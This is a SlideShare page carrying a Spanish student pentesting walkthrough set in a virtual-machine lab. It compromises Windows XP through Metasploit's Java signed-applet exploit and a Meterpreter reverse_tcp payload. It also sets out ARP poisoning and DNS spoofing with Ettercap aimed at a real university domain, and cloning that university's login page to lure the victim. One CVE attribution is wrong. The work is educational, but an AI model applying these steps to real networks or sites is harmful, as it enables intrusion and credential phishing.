Karmetasploit - Entorno de entrenamiento de seguridad informáticaKarmetasploit - Entorno de entrenamiento de seguridad informática
Karmetasploit - Entorno de entrenamiento de seguridad informáticaDaniel
 
Ms config
Ms configMs config
Ms configDGS
 

Similar a Episodio de pentesting (20)

Guia de redireccionamiento en ubuntu
Guia de redireccionamiento en ubuntuGuia de redireccionamiento en ubuntu
Guia de redireccionamiento en ubuntu
 
Armitage pruebas
Armitage pruebasArmitage pruebas
Armitage pruebas
 
Airbase y KARMetasploit
Airbase y KARMetasploitAirbase y KARMetasploit
Airbase y KARMetasploit
 
Procesos de gestion de redes
Procesos de gestion de redesProcesos de gestion de redes
Procesos de gestion de redes
 
Trabajo de seguridad informatica 1
Trabajo de seguridad informatica 1Trabajo de seguridad informatica 1
Trabajo de seguridad informatica 1
 
Cuestionario de concepto de seguridad
Cuestionario de concepto de seguridadCuestionario de concepto de seguridad
Cuestionario de concepto de seguridad
 
Armitage pruebas
Armitage pruebasArmitage pruebas
Armitage pruebas
 
Metasploit
MetasploitMetasploit
Metasploit
 
Funcionamiento básico y primeros pasos en wifislax
Funcionamiento básico y primeros pasos en wifislaxFuncionamiento básico y primeros pasos en wifislax
Funcionamiento básico y primeros pasos en wifislax
 
Programación de Centralitas Privadas
Programación de Centralitas PrivadasProgramación de Centralitas Privadas
Programación de Centralitas Privadas
 
Administración de switches
Administración de switchesAdministración de switches
Administración de switches
 
Smtp 2950
Smtp 2950Smtp 2950
Smtp 2950
 
Penetración con una Backdoor
Penetración con una BackdoorPenetración con una Backdoor
Penetración con una Backdoor
 
MAITAINING ACCESS
MAITAINING ACCESSMAITAINING ACCESS
MAITAINING ACCESS
 
Maitaining access
Maitaining accessMaitaining access
Maitaining access
 
Analaisis de malwatre trickbot - mp alonso
Analaisis de malwatre   trickbot - mp alonsoAnalaisis de malwatre   trickbot - mp alonso
Analaisis de malwatre trickbot - mp alonso
 
Ataque win xp
Ataque win xpAtaque win xp
Ataque win xp
 
Capitulo2
Capitulo2Capitulo2
Capitulo2
 
Karmetasploit - Entorno de entrenamiento de seguridad informática
Karmetasploit - Entorno de entrenamiento de seguridad informáticaKarmetasploit - Entorno de entrenamiento de seguridad informática
Karmetasploit - Entorno de entrenamiento de seguridad informática
 
Ms config
Ms configMs config
Ms config
 

Último

presentacion de PowerPoint de la fuente de poder.pptx
presentacion de PowerPoint de la fuente de poder.pptxpresentacion de PowerPoint de la fuente de poder.pptx
presentacion de PowerPoint de la fuente de poder.pptxlosdiosesmanzaneros
 
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdfRefrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdfvladimiroflores1
 
Presentación de elementos de afilado con esmeril
Presentación de elementos de afilado con esmerilPresentación de elementos de afilado con esmeril
Presentación de elementos de afilado con esmerilJuanGallardo438714
 
Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfAnnimoUno1
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptxEL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptxMiguelAtencio10
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfJulian Lamprea
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxLolaBunny11
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
Avances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanaAvances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanamcerpam
 
Avances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estosAvances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estossgonzalezp1
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITMaricarmen Sánchez Ruiz
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxPROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxAlan779941
 

Último (15)

presentacion de PowerPoint de la fuente de poder.pptx
presentacion de PowerPoint de la fuente de poder.pptxpresentacion de PowerPoint de la fuente de poder.pptx
presentacion de PowerPoint de la fuente de poder.pptx
 
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdfRefrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
 
Presentación de elementos de afilado con esmeril
Presentación de elementos de afilado con esmerilPresentación de elementos de afilado con esmeril
Presentación de elementos de afilado con esmeril
 
Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdf
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptxEL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdf
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptx
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
Avances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanaAvances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvana
 
Avances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estosAvances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estos
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxPROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
 

Episodio de pentesting

  • 1. Episodio de Pentesting Hello world, I’m backtrack Nicolás Moral de Aguilar Seguridad en tecnologías de la información
  • 2. Índice 1. Planteamiento del episodio 2. Conceptos necesarios 3. Configuración del escenario 4. Escaneo a la víctima 5. Elección de vulnerabilidad 6. Configuración del exploit 7. Envenenamiento DNS 8. Ingeniería social 9. Meterpreter en acción Anexos 2
  • 3. 1. Presentación del episodio En el episodio de penetración que se expone a lo largo de este proyecto, se realizará una explicación detallada de cómo conseguir hacerse con un ordenador remoto aprovechando una vulnerabilidad de Java en navegadores, que permite la ejecución de código malicioso tras aceptar un applet de Java en cualquier navegador y/o sistema operativo. Así mismo, explicaré el procedimiento habitual en el que entra en juego la ingeniería social para hacer que las posibles víctimas acepten la ejecución del applet. Para explicar el procedimiento, voy a especificar varias fases por separado, que permitirán entender de manera más sencilla todo el proceso. En la primera fase, se debe realizar un escaneo de la LAN en la que se sitúa el episodio para visualizar la estructura de la red y detectar posibles equipos vulnerables. Más tarde, hay que analizar los mismos para ver cómo y qué vulnerabilidades se pueden aprovechar. Tras eso, se debe configurar el exploit necesario para aprovechar dicha vulnerabilidad, y dependiendo del tipo de exploit, habrá que seguir un procedimiento para hacer que el ataque se haga efectivo. 3
  • 4. 2. Conceptos necesarios Para la compresión de este proyecto necesitaremos tener algunas definiciones y conceptos claros, así que voy a dar una breve explicación de todos los términos que considero necesarios para entender el desarrollo del mismo. Backtrack 5 R3 Distribución de Linux basada en Ubuntu destinada a la seguridad. En su última versión incorpora las versiones actualizadas de muchas de las utilidades de Linux más usadas en el ámbito de la seguridad informática. Abarca desde programas destinados al pentesting, como Metasploit Framework o SET, pasando por herramientas de ingeniería inversa, como IDA Pro, de análisis de redes, como Nmap o AirCrack, o de análisis forense, como Galleta. La distribución se basa más concretamente en Ubuntu 10.04 LTS (Lucid Lynx) y está disponible en arquitecturas de 32, 64 bits y en ARM. En el ámbito de la seguridad, posiblemente sea la distribución más utilizada. Como dato adicional, en todo el desarrollo del episodio os llamará la atención la ausencia de “sudo” en los comandos, pero la razón es que este sistema utiliza la cuenta de administrador por defecto. En el desarrollo del episodio, me referiré a esto como Backtrack, BT o BT5. Metasploit Framework Es una herramienta imprescindible para cualquier informático que trabaje con test de penetración. Metasploit o MSF, es un programa que recopila una base de datos de exploits autoactualizable que permite aprovechar las posibles vulnerabilidades que tengan los equipos atacados. Junto con NMap, se convierte en una herramienta increíble. Además, existe una interfaz gráfica disponible para los que odien la CLI (Command Line Interface), llamada Armitage, de la que hablaré en uno de los anexos del proyecto. Ettercap Realiza las funciones de sniffer, interceptor y registrador para cualquier LAN. Soporta direcciones activas y pasivas de varios protocolos, incluido SSH y HTTPS. Hace posible la inyección de datos en una conexión establecida y permite el filtrado al vuelo aun manteniendo la conexión sincronizada gracias a la característica de realizar ataques MiTM (Man in the middle). Justamente esta última característica es la que a nosotros nos interesa para nuestra simulación de escenario. Lo explicaremos de forma más extensa en el apartado de Envenenamiento de DNS VB Bridged Network Mode VirtualBox dispone de varios modos de configuración de la tarjeta de red virtualizada de las guest. Los más usados suelen ser el modo NAT, que crea un puente de conexión entre el host, con IP habitualmente de tipo 192.168.X.X y el guest, el cual se configura en otra red 10.X.X.X. Y también se usa habitualmente el modo red interna, que conecta directamente todas las guest en una misma red. Sin embargo, puesto que el escenario precisa de actualización de diversos componentes dentro de la VM, he configurado la red como Bridged Network (Red Puenteada) que añade ambas VM a la red local y les asigna, como es evidente, direcciones del tipo 192.168.X.X. Ello nos permitirá tener 4
  • 5. ambas máquinas virtuales conectadas, tanto la atacante como la atacada, y además tener en ambas conexión a internet para actualizar los componentes necesarios. SET Social Engineering Toolkit es una suite en CLI que nos facilita una interfaz en consola para automatizar el uso de ataques de penetración habituales compenetrando varias herramientas de la distribución, como pueden ser Metasploit, NMap, Apache Server, etc… implementando en una misma aplicación la automatización de los ataques. Le echaremos un vistazo en el apartado de anexos. PAYLOAD Es un término que se refiere al código o herramienta que tras la infección de una víctima, permite realizar todo tipo de efectos secundarios. Es decir, la parte del troyano que se encarga de los cambios de configuración, y ejecución de cualquier orden no legítima. EXPLOIT Es un software, o secuencia de comandos que se crea con el fin de causar un error o un fallo en alguna aplicación, a fin de causar un comportamiento no deseado o imprevisto en un sistema o componente. Habitualmente supone la ejecución remota de código, la escalada de privilegios o incluso un ataque DOS. 5
  • 6. 3. Configuración del escenario Para poner en marcha un escenario de una simulación de un ataque de penetración o pentesting, vamos a utilizar dos máquinas virtuales interconectadas, las cuales vamos a configurar de la manera apropiada para que el ataque pueda llevarse a cabo de manera exitosa. Tras instalar VirtualBox, vamos a necesitar una ISO de Windows XP SP3 y otra de Backtrack 5 R3 para instalar cada una en una VM distinta. (Proceso de instalación de las dos VM) Evidentemente, podemos usar versiones diferentes de ambos SO, pero en este caso he escogido las versiones más actualizadas de ambos. A continuación voy a mostrar la configuración que he dispuesto en cada una de los sistemas invitados. Backtrack 5 R3, está instalado en un disco duro virtual y se le han asignado 512Mb de RAM. Incluso es suficiente con bastante menos memoria puesto que el ataque que vamos a realizar no necesita tener demasiados programas en memoria. En el momento de más carga, deberían estar un servidor Apache, MSF y Ettercap. El sistema está actualizado con la siguiente lista de órdenes: “apt-get update && apt-get upgrade” “msfupdate” Además, tiene actualizado SET a la última versión desde su propio menú de opciones. La máquina virtual está configurada como Bridged Network por lo que se adhiere a la LAN a la que pertenece el sistema host, con una IP del tipo 192.168.1.X Windows XP SP3 contiene las últimas actualizaciones de Windows Update y está configurado también como Bridged Network, por lo que tiene otra IP perteneciente a la red local del host. Además está instalado Google Chrome por si necesito hacer alguna búsqueda durante el desarrollo 6
  • 7. del proyecto, y de paso para demostrar que independientemente del navegador instalado, el sistema sigue siendo vulnerable, ya que la vulnerabilidad está en el JRE. (Configuración de red de ambas VM) Con ambas máquinas virtuales funcionando y actualizadas correctamente, estamos listos para entrar en materia e iniciar nuestro MSF. Como recomendación adicional, propongo hacer una Snapshot de ambas máquinas virtuales. No es estrictamente necesario ya que no vamos a tocar nada relacionado con el kernel ni con el boot de BT5, y evidentemente Windows ya viene bien capado de serie, pero es recomendable por si a alguien se le va la mano con la consola de Meterpreter y teclea un “rm –r *.*”. Hasta nueva orden, la parte que viene a continuación se desarrolla de forma íntegra en la VM de BT5, por lo que supongo la ejecución de órdenes con “sudo” y que todas ellas se ejecutan en BT. 7
  • 8. 4. Escaneo a la víctima Lo primero que necesitamos para poder hacer uso de nuestro supuesto exploit, y tras instalar las herramientas necesarias en nuestra máquina, es seleccionar una o varias víctimas en las que tratar de hacer efectivo el ataque. Para ello, y con el fin de escanear las posibles vulnerabilidades que expongan a las víctimas ante nuestro ataque, necesitamos información sobre las direcciones a las que vamos a atacar. Para ello, lo primero es ejecutar un análisis de puertos. Y a estas alturas estaréis pensando en Nmap, la cual evidentemente podemos utilizar. Así que sería bastante fácil ponernos manos a la obra y ejecutar un escaneo generalizado con Nmap, del cual pondré un ejemplo simplemente por lo que explicaré a continuación. Escaneo vía Nmap Ejecutamos en terminal la siguiente orden: “nmap –A 192.168.1.26” (Orden ejecutada en BT5) La orden anterior básicamente realiza un scan rápido a la IP que especificamos, en este caso 192.168.1.26, y añade un scan de SO con el atributo –A. Habitualmente se usa también –v para visualizar más información del proceso, pero puesto que es un ejemplo la he omitido. 8
  • 9. Escanear una red mediante Nmap es una forma totalmente válida para lo que necesitamos en este proceso, incluso podríamos utilizar Zenmap que es la GUI de Nmap, pero para que se observe el potencial de Metasploit, vamos a realizar el scan directamente desde el propio MSF, ya que incluye módulos de escaneo. Por tanto, iniciamos directamente la consola de Metasploit con “msfconsole” y vemos que escaneos tenemos disponibles para realizar con los siguientes comandos mostrados en la imagen siguiente. Los escaneos más habituales son el TCP y el SYN, pero como de momento solo necesito averiguar cuál es la versión del SO, me vale cualquiera. (Ejecutando SYN scan) He configurado el RHOST con la dirección del equipo atacado porque en este caso la sabemos. Pero si quisiéramos escanear una red, normalmente se realiza un scan a los equipos limitados por la máscara de subred 255.255.255.0, es decir, desde 192.168.1.0 hasta 192.168.1.255. Se especifica de la siguiente manera “set RHOSTS 192.168.1.0/24”. Escaneamos el puerto 445 que viene abierto por defecto en todos los Windows ya que es utilizado por SMB (Server Message Block, sistema para compartir archivos e impresoras de Microsoft) y que nos servirá para saber la versión del sistema operativo. Observamos que está abierto, por lo que buscamos algún scan para SMB. 9
  • 10. (Ejecutando SMB scan) Una vez que sabemos el sistema operativo que ejecuta el sistema en cuestión y hemos obtenido la información adicional de puertos, debemos pasar a la elaboración del plan de ataque, empezando por la elección de la vulnerabilidad que vamos a utilizar. 10
  • 11. 5. Elección de vulnerabilidad Gracias a MSF y su gigantesca base de datos de exploits funcionales, tenemos miles de posibilidades para hacernos con un ordenador remoto. El momento de elegir que vulnerabilidad vamos a aprovechar es importante, ya que marcará el rumbo del proceso para hacernos con la máquina remota. En este caso, uno de los puntos más importantes, es que la elección del exploit debe realizarse pensando en el sistema operativo de la víctima, y en los servicios que operan por defecto en los puertos que hayamos detectado abiertos. Por tanto, podríamos elegir vulnerabilidades de diferentes clases. Para Windows XP destacar el exploit “ms08_067_netapi” que ha sido uno de los más utilizados durante la vida de XP, ya que permite su ejecución sin intervención alguna del usuario remoto, por lo que evita la ingeniería social. El exploit aprovecha las vulnerabilidades CVE-2006-4446 y CVE- 2006-4777 y permite la apertura incluso de una sesión de meterpreter, y la escalada de privilegios en el sistema. Sin embargo, debido a su compatibilidad con diferentes navegadores y sistemas operativos, en este escenario voy a utilizar la que posiblemente sea la vulnerabilidad más utilizada de MSF, “Java_signed_applet”. El exploit se inyecta en el servidor http del atacante, junto con los payloads generados para los diferentes sistemas operativos, y permite la ejecución de una sesión de meterpreter, cuyas virtudes estudiaremos más adelante, en la victima. El exploit Java signed applet nos permite crear un complemento envenenado de java para el navegador, que puede incluso firmarse si tenemos el JDK (Java Development Kit) instalado en la VM. Este complemento se inyecta en el servidor web independientemente de la página web que haya creada, lo cual es bastante interesante y aumenta con creces la maniobrabilidad de la ingeniería social. Una vez hemos aceptado su ejecución, el payload entrará en la VM víctima y se ejecutará, creando una conexión “reverse-tcp” que se comunicará directamente con metasploit. 11
  • 12. 6. Configuración del exploit Lo primero que debemos hacer es llamar al exploit, pero si no nos sabemos la ruta exacta podemos utilizar la función search de Metasploit. Se ve mejor en esta imagen: (Configuración básica de Metasploit) En la imagen de arriba podemos observar que si hacemos un “show options”, se nos muestran los parámetros de configuración modificables para el exploit, y su configuración por defecto. Al lado de cada parámetro viene una breve descripción del mismo, por lo que no me voy a extender demasiado. Pero es importante echar un vistazo a SRVHOST, SRVPORT, LHOST y para este exploit en concreto, podemos configurar el nombre del applet malicioso modificando APPLETNAME, e incluso la firma del applet con CERTN. Los parámetros se modifican como en el siguiente ejemplo: “set APPLETNAME EXPLOIT”. A continuación, la parte más importante de la configuración de un exploit consiste en la elección del Payload, pues será el programa que se encargará de realizar la conexión inversa desde la víctima hasta el host. En este caso, vamos a utilizar el payload más famoso de Metasploit que se llama Meterpreter, y para ser más exactos, en su versión de puertos TCP. Dicho esto, el paso siguiente es setearlo en nuestro exploit, dando la siguiente instrucción: 12
  • 13. “set PAYLOAD windows/meterpreter/reverse_tcp” Una vez configurado completamente el exploit con las opciones que necesitemos escribimos en la consola de MSF “exploit” y automáticamente MSF montará el servidor web con el contenido infectado. De forma predeterminada, MSF monta la inyección del exploit en una URL aleatoria del tipo http://127.0.0.1/XXXXXXX pero si queremos especificar un nombre en la dirección tendremos que configurar URIPATH en la configuración del exploit. Ahora solo deberemos hacer que la víctima entre en el enlace y permita la instalación del complemento de Java. Para ello podríamos hacer uso de ingeniería inversa, a través de un mail o de cualquier otro servicio, pero puesto que suponemos que la víctima está en la misma red local, vamos a usar DNS Poisoning, lo que explicaremos a continuación. 13
  • 14. 7. Envenenamiento DNS A grandes rasgos un envenenamiento DNS, más conocido por su traducción en inglés DNS Poissoning, es una forma de ataque MiTM en el que el atacante hará que el PC atacado resuelva las direcciones con un servidor de DNS “alterado”. Esto puede parecer un poco complejo al principio, pero vamos a explicarlo de forma más detallada. Primero introduciremos un nuevo concepto que no se definió en el tutorial porque consideré que era más conveniente verlo justo en el momento de su necesidad. Así que a continuación se explicará que es el Protocolo ARP (Adress Resolution Protocol) y el envenenamiento de su cache. Básicamente es un protocolo responsable de encontrar la dirección MAC correspondiente a una determinada IP. Imaginemos ordenador A y ordenador B. ARP Request: El ordenador A pregunta en la red a quién pertenece una determinada IP, pongamos 192.168.1.1. ARP Reply: Todos los demás ordenadores de la red ignorarán la petición a excepción del que tenga esa dirección IP. Este ordenador contestará con un paquete que contendrá la IP requerida y su dirección MAC. El protocolo fue diseñado para ser simple y eficiente pero su mayor defecto es la ausencia de autenticación. Como resultado, no hay manera de autenticar la IP con la dirección MAC contenida en el ARP Reply. Además, el host ni siquiera comprueba si fue enviada la respuesta ARP desde la misma IP que se solicitó en la petición. Esto quiere decir que si un ordenador A, envía una petición y recibe una respuesta ARP, el protocolo no puede comprobar si la IP corresponde con su MAC. Incluso si un host no envió una petición ARP pero si recibe una respuesta ARP, confía en la información de respuesta y actualiza su cache ARP. Por tanto, como podemos observar parece fácil explotar el débil protocolo ARP. Es posible enviar a la red entera una respuesta ARP en la que cualquier IP está mapeada a cualquier MAC. La vulnerabilidad anterior permite el ataque a una LAN de varias formas, en este caso, y como ya hemos indicado anteriormente utilizaremos la técnica Man in the Middle, que nos permitirá hacer sniff a todo el tráfico entre dos PC de la red. Para conseguir esto, supongamos que mi PC es el host A, y mi router es el host B. Mi ordenador tiene una IP-A y una MAC-A, y el router una IP-B y una MAC-B. La máquina C, o sea, la que realizará el ataque, envía una respuesta ARP a B que mapea IP-A con MAC-C, y otra respuesta ARP hacia A que mapea IP-B con MAC-C. Por tanto ahora cualquier paquete enviado desde A a B o desde B a A, llegará a C. Entonces es momento de activar en C, IP forwarding (Redireccionamiento IP), que permite redireccionar A a B. Es este momento cuando C se encuentra justo en medio de la conexión entre A y B, y tenemos un ataque Man in the Middle en toda regla. Toda esta teoría es imprescindible, pero creo que es hora de pasar a la práctica. 14
  • 15. Os presento a Ettercap, que nos permitirá poner en práctica este ataque. En esta ocasión vamos a utilizar la interfaz gráfica por su comodidad, ya que es un rollazo aprenderse la ingente cantidad de comandos que tiene la CLI, y no es cómodo para trabajar. En caso de no querer iniciar Xorg, podemos usar Ettercap –C, que funciona con una interfaz creada con curses. Así que iniciamos Ettercap introduciendo en la terminal “ettercap -G”. A continuación hacemos click en “Sniff -> Unified Sniffing” y se nos abrirá una ventana de selección en la que podremos escoger cualquiera de las interfaces disponibles. Como estoy trabajando en VB, elijo eth0. (Ettercap en modo Unified Sniffing) Ahora vamos a escanear la red para ver los equipos, por lo que hacemos click en “Hosts -> Scan for host”. Y cuando esté completado en “Hosts -> Host List”. Ahora vemos información interesante, que son todos los host de la red listados con direcciones MAC correspondientes. Nos disponemos a hacer un ataque MiTM, por tanto seleccionamos un host y pulsamos en “Add to Target 1” y hacemos lo mismo con el otro host que queramos interceptar pero esta vez lo añadimos en “Add to Target 2”. 15
  • 16. (Seleccionando objetivos en Ettercap) Ahora seleccionamos “Mitm -> Arp Poisoning” y marcamos la opción de Sniff Remote Connection. Una vez hecho esto iniciamos el Sniff desde “Start -> Start Sniffing” Una vez que los paquetes están pasando por nuestro PC, lo que necesitamos es direccionar a la víctima a la dirección IP en la que hemos inyectado el exploit, para ello lo que vamos a hacer es redireccionar el DNS usando un plugin de Ettercap que se llama dns-spoof. Pero antes debemos editar el archivo de configuración que Ettercap dedica al dns. Si estáis habituados al archivo de Linux hosts (/etc/hosts) veréis que la configuración se hace del mismo modo, así que desde una terminal nos vamos a editar el archivo de configuración de DNS de Ettercap. “nano /usr/local/share/ettercap/etter.dns” Aquí añadimos las líneas que queramos para redireccionar cualquier dirección a nuestra IP. Yo he puesto la dirección de la UJA añadiendo esto: *.ujaen.es A 192.168.1.27 ujaen.es A 192.168.1.27 16
  • 17. Una vez hemos hecho eso, solo queda activar el plugin, y todo estará listo, como podemos ver en la siguiente imagen en la que se ve como haciendo un ping y entrando directamente en la web, nos redirecciona correctamente a nuestro servidor malicioso. 17
  • 18. 8. Ingeniería social Durante el desarrollo del proyecto me estuve planteando la posibilidad de omitir este apartado. Sin embargo después de no pocas reflexiones, creo que a nivel de poner en práctica este episodio en el mundo real, esta es la parte más importante. Se debe hacer caer a la víctima en la trampa, y una de las maneras más eficientes es suplantando la identidad de un sitio web habitual de tal manera que el usuario no se dé cuenta de la trampa. Creo que estamos de acuerdo en que un index.html del tipo <h1>HOLA, SI ACEPTAS ESTE APPLET VOY A HACKEARTE EL PC</h1> no es demasiado útil. Pero… ¿Y si clonamos la web de Google? Pensé en clonar la UJA, pero la verdad es que ocupa demasiado y tardaríamos en descargar el árbol de direcciones bastante rato. Al final, decidí inyectarlo en un sitio más creíble, ya que a día de hoy es improbable que Google inserte un applet de Java en su buscador y me decidí por inyectarlo justo en el enlace de autenticación de dv.ujaen.es, cambiando el link en el código fuente hacia mi IP. Me pongo manos a la obra, y aunque podría descargarme el código directamente con wget o con un right click en la misma web, o incluso copiando directamente el código fuente visible, eso es una chapuza a no ser que nos queramos pasar un par de horas redireccionando hojas de estilo y contenido multimedia. Descargamos un programa que se encarga de hacer la tarea por nosotros, httrack. “apt-get install httrack” Nos situamos en la carpeta que queramos descargar la web, y ejecutamos el programa pasando como argumento la web que deseemos. “httrack dv.ujaen.es” (httrack clonando www.google.es) 18
  • 19. Una vez copiada la web en la carpeta que hayamos definido por defecto (recomiendo que no sea directamente el servidor por si hay algún fallo) comprobamos que está bien en el navegador, y la copiamos directamente a la carpeta del servidor apache, ya sea únicamente el index o también archivos y carpetas asociados. “cp dv.ujaen.es/* /var/www” Una vez lo hemos copiado iniciamos el servidor apache desde el menú. Applications -> Backtrack -> Services -> HTTPD -> apache start Básicamente ya está todo copiado y listo para funcionar. Os adjunto como información adicional los parámetros exactos que yo he utilizado para configurar el exploit y el payload en MSF. set APPLETNAME UJA_AUTH set CERTCN Ujaen set URIPATH /authapplet set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.XXX (Hay que tener cuidado de no establecer como Puerto del servidor el 80, ya que lo estamos utilizando para alojar a la web clonada) 19
  • 20. 9. Meterpreter en acción Exploit inyectado en la web esperamos pacientemente que nuestra ingeniería social haga acto de presencia ante la víctima y esta ejecute el complemento de Java. Una vez ejecutado, el applet se encargará de realizar automáticamente una conexión inversa hacia nuestro servidor por el puerto que hayamos especificado en LPORT y abrirá una sesión de Meterpreter para dejarnos en ordenador atacado a nuestra disposición. Metasploit por defecto no nos redirige a la sesión abierta directamente, tendremos que abrirla nosotros, así que vemos los comandos por defecto. Primero, ejecutamos “sessions –l” y nos listará todas las sesiones que hayan activado nuestros troyanos de conexión inversa. Para seleccionar una simplemente tenemos que escribir: (Exploit activando sesión y abriéndola en meterpreter) “sessions –i id” es decir… “sessions –i 1” Se nos abrirá una session de Meterpreter, y lo primero que tenemos que hacer tras examiner un poquito la CLI, es ejecutar una orden help, para ver qué podemos hacer con él. En este momento, los que no conozcan Meterpreter se darán cuenta de por qué he elegido este payload y no uno de Shell normal. Meterpreter tiene muchísimas opciones con órdenes directas, desde subir o descargar un archivo, hasta terminar un proceso o capturar el micro o la webcam. El payload es verdaderamente una obra de arte, podría explicar uno por uno que hace cada comando, pero puesto que viene una descripción del mismo en inglés creo que no tiene sentido y es mucho más divertido si lo investigas tú mismo. 20
  • 21. (Algunos comandos de Meterpreter) 21
  • 22. Anexos Como información complementaria al proyecto, pero relativa al mismo, voy a presentaros dos herramientas que os facilitarán el trabajo del día a día. Armitage y SET. Armitage Esta herramienta básicamente se encarga de proveer de interfaz gráfica a MSF, pero sin dejar de lado una línea de comandos. Armitage tiene una barra superior que automatiza el escaneo de redes, la búsqueda de ataques disponibles para las distintas posibles víctimas dependiendo de la información que consiga en los escaneos pertinentes. Además, te permite elegir los ataques y te ofrece una configuración predeterminada para el mismo dependiendo del sistema operativo de la víctima. Su parte inferior, es una consola en la que se van abriendo pestañas para lanzar los diferentes procesos durante el ataque. En cierto modo, como toda interfaz gráfica, reduce considerablemente las posibilidades del programa comparado con su interfaz CLI, pero ya que la propia interfaz dispone de una línea de comandos, podemos suplir las carencias de la interfaz desde ahí. La interfaz se lanza directamente desde el menú de backtrack. (Lanzando armitage desde el menú) 22
  • 23. (Ventana de metasploit habitual cuando se arranca) (Ventana con un ataque en proceso, en la que hay vulnerados 3 dispositivos de la red) Como podéis ver la interfaz es bastante útil, y además hace el ataque mucho más vistoso si lo que queréis es hacer algún tipo de publicación o documento oficial. 23
